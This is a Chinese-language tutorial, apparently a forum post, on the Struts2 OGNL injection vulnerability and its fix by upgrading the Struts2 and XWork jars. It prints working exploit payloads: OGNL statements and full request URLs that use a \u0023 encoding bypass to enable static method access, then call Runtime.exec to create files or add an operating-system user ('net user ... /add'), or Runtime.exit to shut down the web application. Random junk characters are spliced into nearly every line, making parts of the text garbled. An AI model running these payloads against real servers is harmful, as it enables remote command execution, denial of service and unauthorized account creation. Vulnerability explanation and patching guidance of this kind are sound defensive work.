1、struts2漏洞原理 r3 ]0 v8 }3 K) Y7 k/ p* a
Struts2是Struts + WebWork。WebWork最终是使用XWork来处理HTTP参数,是通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。当我们提交一个http参数:7 c! ^) V* r7 @
?user.address.city=Bishkek&user['favoriteDrink']=kumys/ L1 R# X7 D' H$ T
ONGL将它转换为:
0 w: u! y+ J" I+ T- O0 k! R$ paction.getUser().getAddress().setCity(“Bishkek”)
. {6 V/ z3 u9 x7 K+ C) r. haction.getUser().setFavoriteDrink(“kumys”)7 Q8 I/ ~4 Y% e4 o
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()方法来实现的。除了提供getting/setting方法, OGNL 还支持其他更多的用法:4 w2 e. p, j3 C4 ~" k( l
方法调用: foo()* ]& w( k2 m+ E
静态方法调用: @java.lang.System@exit(1)+ V& X# i5 e, _* d$ l. M+ R9 y
构造函数调用: new MyClass(), |( `3 @+ d* b0 |+ ~3 {4 J( s
向上下文变量赋值: #foo = new MyClass()$ q. o0 E7 R- O; Y" Y& T
…; |" t4 X8 h/ ?0 k5 I2 l
因为HTTP参数就是OGNL的执行语句,为了防止通过HTTP参数调用一个恶意函数来攻击网站,XWork有下面两个变量来限制方法的执行:
; H; @6 V( H1 d8 ^" X& lOgnlContext的属性:xwork.MethodAccessor.denyMethodExecution (set to true by default)! c/ K1 R4 Z- G% d
SecurityMemberAccess 私有属性:allowStaticMethodAccess (set to false by default), h" v8 H* |- S, S( ^
为了方便开发者方便的访问变量, XWork提供了下面几个预定义的上下文变量:6 h# ~5 T4 u; Q3 X+ F
#application& ~5 F f( V$ v+ ~- {
#session
! Q$ H& C. |+ o#request
7 v" }9 S' q2 H0 n+ k \% G#parameters! `; E4 E2 e v3 A# w
#attr
' ]8 g8 o! c B) q* @3 M+ Y: Q9 S这些变量代表了服务器端的对象,类似一个map。为篡改这些服务器端的变量,XWork的ParametersInterceptor不允许在http参数中使用#,但是可以使用Java的unicode String 来代替: \u0023。
! i7 S0 c8 x4 Y; b/ Y2 B除了上面的上下文变量以外,还有下面更多的变量:; ?4 `* q+ X. E0 z
#context – OgnlContext, the one guarding method execution based on ‘xwork.MethodAccessor.denyMethodExecution’ property value. Q- Q1 z3 n% ^
#_memberAccess – SecurityMemberAccess, whose ‘allowStaticAccess’ field prevented static method execution.
0 _8 c: }% d+ U& ]+ g2 s#root# I- b' ^6 S! ^8 _! S* M' a% f, H
#this* T: G0 x3 W. c8 D) _9 E
#_typeResolver9 i- d: {8 L `9 T4 G, M' b
#_classResolver
; Z- ? r8 I8 N& P1 Z3 k#_traceEvaluations
) B: m+ @" c# Z#_lastEvaluation
7 p! E! m1 s0 F3 e7 S7 K- s/ T X% r#_keepLastEvaluation" J/ f; o A( w5 h8 J
从上面的信息你可能已经看出问题了,我可以修改这些变量的值,然后执行一段恶意的java代码:
8 U+ {: i" {: H6 a) t9 I#_memberAccess['allowStaticMethodAccess'] = true# h. f4 j" ~# k K( u' d5 q
#foo = new java .lang.Boolean(“false”)1 M7 C) Y( T A6 k$ V5 G. q) I
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo! l' C' T4 f8 V1 C( h
#rt = @java.lang.Runtime@getRuntime()
7 X* `4 g9 ~8 K! y#rt.exec(‘mkdir /tmp/PWNED’)
. J- d- D2 J O4 y6 y. m( f3 ]另外,你可以使用下面的代码检验一下你的网站是否有漏洞: http://mydomain/MyStruts.action?(‘\u0023_memberAccess[\'allowStaticMethodAccess\']‘)(meh)=true&(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
9 }9 p. S0 N. T( B" l* ~旧版本的XWork没有属性’allowStaticMethodAccess’ 可以使用下面的URL: http://mydomain/MyStruts.action?(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
4 A, T9 T' M$ l; i# JOGNL处理时最终的结果就是
4 r# d3 H1 B7 J, a0 Q: \0 u/ Fjava.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭
- q8 ?- g( C* }2 b% R2 `9 P类似的可以执行1 @" D; Q* N& r7 k5 e$ K
java.lang.Runtime.getRuntime().exec(“net user 用户名 密码 /add”);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/),只要有权限就可以执行任何DOS命令。
0 k. K9 v$ q' F) i4 Z" b2、struts2漏洞解决方法( u" ]/ I' p, B8 V7 s4 Z
将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4。主要用到以下几个替换掉旧版本的:) U. f" X" x. J8 d4 {( g
commons-lang3-3.1.jar (保留commons-lang-2.6.jar)
5 F f$ ^) e6 B* ?' L* f& gjavassist-3.11.0.GA.jar (新加包)" n9 X5 }! f. D: f6 V/ c0 g' d& L0 E
ognl-3.0.5.jar (替换旧版本)2 K+ F7 [, y ^+ z! E8 o0 `- [, M3 g
struts2-core-2.3.4.1.jar (替换旧版本)
( Z* _% Z8 N4 o$ uxwork-core-2.3.4.1.jar (替换旧版本)
( M$ ]' g) h' u; c/ a |